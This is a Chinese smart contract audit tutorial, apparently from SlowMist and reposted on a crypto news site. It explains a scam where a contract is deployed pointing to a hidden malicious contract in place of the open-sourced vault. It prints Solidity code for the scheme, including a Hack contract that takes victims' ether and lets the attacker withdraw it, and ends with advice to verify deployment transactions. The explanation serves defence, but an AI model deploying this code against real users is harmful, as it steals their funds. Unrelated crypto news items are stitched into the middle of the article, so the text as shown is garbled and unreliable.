MAKE:智能合约安全审计入门篇 —— 移花接木_比特币

概述

上期我们了解了利用 tx.origin 进行钓鱼的攻击手法,本期我们来带大家了解一下如何识别在合约中隐藏的恶意代码。

前置知识

大家还记得之前几期部署攻击合约时我们会传入目标合约的地址,在攻击合约中就可以调用目标合约中的函数吗,有些攻击者会利用这一点受害者。比如部署一个 A 合约并告诉受害者我们会在部署 A 合约的构造函数中传入 B 合约的地址并将 B 合约开源,其实我们会在部署 A 合约时传入 C 合约的地址,如果受害者完全信任我们没有检查部署 A 合约的那笔交易,我们就完美的将恶意代码隐藏在了 C 合约中。我们可以从下图来理解这个逻辑:

用户以为的调用路径:

部署合约 A 传入合约 B 地址,这样调用路径为正常路径。

实际的调用路径:

部署合约 A 传入合约 C 地址,这样调用路径为非正常路径。

下面我们使用一个简单的例子来分析这个局:

恶意代码

// SPDX-License-Identifier: MITpragma solidity ^0.8.13;contract MoneyMaker {    Vault vault;    constructor(address _vault) {        vault = Vault(payable(_vault));    }    function makeMoney(address recipient) public payable {        require(msg.value >= 1, "You are so poor!");        uint256 amount = msg.value * 2;        (bool success, ) = address(vault).call{value: msg.value, gas: 2300}("");        require(success, "Send failed");        vault.transfer(recipient, amount);    }}contract Vault {    address private maker;    address private owner;    uint256 transferGasLimit;    constructor() payable {        owner = msg.sender;        transferGasLimit = 2300;    }    modifier OnlyMaker() {        require(msg.sender == maker, "Not MoneyMaker contract!");        _;    }    modifier OnlyOwner() {        require(msg.sender == owner, "Not owner!");        _;    }    function setMacker(address _maker) public OnlyOwner {        maker = _maker;    }    function transfer(address recipient, uint256 amount) external OnlyMaker {        require(amount <= address(this).balance, "Game Over~");        (bool success, ) = recipient.call{value: amount, gas: transferGasLimit}(            ""        );        require(success, "Send failed");    }    function withrow() public OnlyOwner {        (bool success, ) = owner.call{            value: address(this).balance,            gas: transferGasLimit        }("");        require(success, "Send failed");    }    receive() external payable {}    fallback() external payable {}}// This code is hidden in a separate filecontract Hack {    event taunt(string message);    address private evil;    constructor(address _evil) {        evil = _evil;    }    modifier OnlyEvil() {        require(msg.sender == evil, "What are you doing?");        _;    }    function transfer() public payable {        emit taunt("Haha, your ether is mine!");    }    function withrow() public OnlyEvil {        (bool success, ) = evil.call{value: address(this).balance, gas: 2300}(            ""        );        require(success, "Send failed");    }    receive() external payable {}    fallback() external payable {}}局分析

Applied Digital宣布第三笔人工智能合同后股价飙升12%:金色财经报道,比特币挖矿和数据公司Applied Digital(APLD)的股价周五飙升12%,截至发稿时交易价格为9.25美元。该公司早些时候宣布了人工智能(AI)领域的第三笔合同,根据新闻稿,Applied Digital将在其AI云服务中部署由惠普企业(HEP)设计的CrayXD超级计算机,这是由NVIDIA H100图形处理单元(GPU)构建的超级计算机,HPE CrayXD将增强Applied Digital的人工智能云服务,并有效支持人工智能、机器学习、渲染以及涉及数字建模和仿真的HPC(高性能计算)任务等关键工作负载。Applied Digital迄今为止已宣布两项AI负载托管交易,这些交易可能在未来36个月内带来高达6.4亿美元的收入。[2023/7/1 22:11:50]

可以看到,上述代码中存在三个合约,我们先结合前置知识中的 A, B, C 三个角色来区分三个合约分别代表什么角色:

MoneyMaker 合约代表 A 合约;

Vault 合约代表 B 合约;

Hack 合约代表 C 合约。

所以用户以为的调用路径为:

MoneyMaker -> Vault。

而实际的调用路径为:

MoneyMaker -> Hack。

下面我们来看看攻击者如何完成局的:

VentureFlow宣布支持波卡智能合约平台Moonbeam:5月24日消息,VentureFlow宣布将为Moonbeam提供一站式Web3 Saas服务工具和解决方案,帮助其更高效地管理生态项目和融资需求,提高生态项目曝光度并加速生态发展。VentureFlow是专为Web3 VC 设计的SaaS工具平台,包含提供项目融资信息、投前投后管理,到可视化投资回报分析的一站式服务,旨在为投资人提供更便捷的投资管理及团队协作工具。

Moonbeam是一个智能合约平台,用于构建跨链互连应用程序,能够访问任何链上的用户、服务等。通过将来自以太坊、Cosmos、波卡等功能整合到一个平台中,Moonbeam解决了当今用户体验碎片化的问题,解锁了互操作性。[2023/5/24 15:23:07]

1. Evil 部署 Vault(B) 合约并在合约中留存 100 ETH 资金,在链上将 Vault(B) 合约开源;

2. Evil 部署 Hack(C) 恶意合约;

3. Evil 放出消息说他将会部署一个开源的赚钱 MoneyMaker(A) 合约,部署时会将 Vault(B) 合约地址传入且会调用 Vault.setMacker() 将 maker 角色设置为 MoneyMaker 合约地址,任何人调用 MoneyMaker.makeMoney() 向合约中打入不少于一个以太都会得到双倍以太的回报;

4. Bob 收到消息,了解到 MoneyMaker 合约的存在,他看了 MoneyMaker(A) 和 Vault(B) 合约的代码并检查了 Vault(B) 合约中的余额发现逻辑确实如 Evil 说的那样,他在没有检查 MoneyMaker(A) 部署交易的情况下就相信了 Evil;

DAO Maker将推出DAO Farm、单一资产质押以及DAO Vesting三个多链智能合约服务产品:8月17日消息,加密Launchpad平台DAO Maker展示三个多链智能合约服务产品,包括DAO Farm、单一资产质押以及DAO Vesting。其中,DAO Farm允许想要建立挖矿池的项目或公司在申请后在DAO Farm上线;单一资产质押还为用户提供有关代币归属时间表的详细信息;DAO Vesting允许客户提前定义其归属合约选项,添加锁仓(cliff)、线性、非线性和epoch或所有这些的组合。[2022/8/17 12:31:40]

5. Bob 调用 MoneyMaker.makeMoney() 向合约中打入自己全部身家 20 ETH,在他满怀期待等着收到 Vault(B) 打来的 40 ETH 时等来的却是一句 "Haha, your ether is mine!"。

咋回事呢?其实这个局非常简单但是很常见。Evil 在部署 MoneyMaker 合约时传入的并不是 Vault 合约的地址,而是传入了 Hack 合约的地址。所以当 Bob 调用 MoneyMaker.makeMoney() 时并不会像他想像中的那样 MoneyMaker.makeMoney() 去调用 Vault.transfer() 回打给他双倍的以太,而是调用了 Hack.transfer() 抛出了一个事件:"Haha, your ether is mine!"。最后 Evil 调用 Vault.withrow() 将 Vault 合约中的 100 ETH 转出,并通过 Hack.withrow() 将 Bob 转入的 20 ETH 转出。

ZKSwap回应Matter Labs质疑:用户资金安全,智能合约和电路代码将开源:关于Matter Labs提到的一些疑问,ZKSwap作出如下回复:

1. ZKSwap在ZKSync Layer2转账的基础上完整实现了Layer2 AMM Swap电路,并实现了数项改进;

2. ZKSwap上用户的资金安全是得到保障的,智能合约和电路部分的代码已经获得了慢雾,Certik和ABDK三家权威安全审计机构的审计认证,审计报告已公开在项目github仓库中接受社区监督;

3. ZKSwap所有智能合约和电路的代码都将完全开源,其中,智能合约部分已经完全审计完成,将会在2021年3月1日开源;电路部分ABDK还在进行最后的审计报告编辑,将会在获得报告并在系统稳定运行一段时间后逐步开源,请社区保持关注;

4. 关于Matter Labs提到的智能合约中关于合约作者的疑问,ZKSync和ZKSwap都严格遵守MIT开源协议,必须保留原作者的版权声明和许可声明。ZKSwap在ZKSync合约的基础上进行的修改也将在合约开源时进行备注,并添加新的版权和许可声明,请社区监督。

此前消息,Matter Labs质疑ZKSwap克隆zkSync代码,担心其用户资金安全问题。[2021/2/24 17:47:58]

预防建议

以太坊黑暗森林中你能相信的只有自己,不要相信任何人精彩的话术,交易记录不会造假,只有自己验证了对应的那笔交易后才能相信对方说的话是对的。

慢雾科技

动态 | 新增代币型智能合约地址数连“涨”至235个:第三方大数据评级机构RatingToken最新数据显示,2018年8月27日全球共新增1862个合约地址,其中235个为代币型智能合约。同时,在RatingToken发布的“新增代币型智能合约风险榜”中,风险排名前三的是Value Chain(VaT)、Saloon(SLXN)和General Neural AI Token(GNAIT),其中Value Chain(VaT)存在39个安全风险,检测得分为3.38。此外,其他登上该风险榜TOP10的还包括VeronX(VRX)、imfomo Long Official(imfomo)、FoMo3D Long Official(F3D)、XMG Long Official(XMG)、TEST Coin(TEST)、Lucky Buddy(Lucky)和SOBO(SOBO)。如需查看更多智能合约检测结果,请查看原文链接。[2018/8/28]

个人专栏

阅读更多

金色荐读

金色财经 善欧巴

迪新财讯

Chainlink预言机

区块律动BlockBeats

白话区块链

金色早8点

Odaily星球日报

MarsBit

Arcane Labs

郑重声明: 本文版权归原作者所有, 转载文章仅为传播更多信息之目的, 如作者信息标记有误, 请第一时间联系我们修改或删除, 多谢。

区块博客

FTXNLA:AI 与区块链的融合:迈向 Nature2.0_Shine Layer 2

原文:Nature 2.0 作者:Trent McConaghy 编译:Sissi 封面:@iStock/agsandrew 这里有一个90年代的老笑话:“在互联网上,没有人知道你是只狗。”(当然现在我们会说 “doge”!)这个笑话有了一个新的版本:“在物联网上,没有人知道你是一台烤面包机。

[0:15ms0-7:269ms